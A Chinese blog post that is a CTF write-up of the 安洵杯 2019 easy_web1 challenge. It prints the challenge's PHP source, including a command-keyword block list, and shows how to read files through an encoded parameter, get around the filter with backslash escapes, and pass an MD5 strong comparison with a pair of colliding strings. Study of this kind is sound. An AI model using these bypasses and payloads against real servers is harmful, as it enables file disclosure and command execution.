[安洵杯 2019]easy_web1

☆firefly☆

已于 2025-03-10 07:51:31 修改

阅读量1.2k

点赞数 29

文章标签：网络安全 web安全

于 2025-03-09 20:40:01 首次发布

本文链接：https://blog.youkuaiyun.com/2303_80867263/article/details/146138271

版权

考点:

1.php代码审计

2.md5强绕过

3.linux命令绕过

进入页面发现cmd，试了一下参数发现被过滤了

,.那就看其他地方,发现img可能是md5,那就去解码

解了两次之后发现陀数字,猜测可能是hex,看一下wp还真是,

既然这样,那试试能不能直接拿到flag.php:hex-base64-base64

TmpZMlF6WXhOamN5UlRjd05qZzNNQT09

那再试试能不能拿到源码进行代码审计:index.php:hex-base64-base64

TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

把base64,后面的进行base64解码,得到源码

<?php

error_reporting(E_ALL || ~ E_NOTICE);

header('content-type:text/html;charset=utf-8');

$cmd = $_GET['cmd'];

if (!isset($_GET['img']) || !isset($_GET['cmd']))

header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');

$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);

if (preg_match("/flag/i", $file)) {

echo '<img src ="./ctf3.jpeg">';

die("xixi～ no flag");

} else {

$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64," . $txt . "'></img>";

echo "<br>";

}

echo $cmd;

echo "<br>";

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|$|$|\&[^\d]|@|\||\\$|\[|\]|{|}|$|$|-|<|>/i", $cmd)) {

echo("forbid ~");

echo "<br>";

} else {

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {

echo `$cmd`;

} else {

echo ("md5 is funny ~");

}

<html>

<style>

body{

background:url(./bj.png) no-repeat center center;

background-size:cover;

background-attachment:fixed;

background-color:#CCCCCC;

}

</style>

<body>

</body>

</html>

要绕过两层if,第一层过滤了很多命令,可以使用l\s这样的写法进行绕过,难点在于第二层,md5强比较+了string,所以不能用数组进行绕过,只能去搜索

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2和b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2，这两个字符串的MD5相同。

这样就可以进行绕过了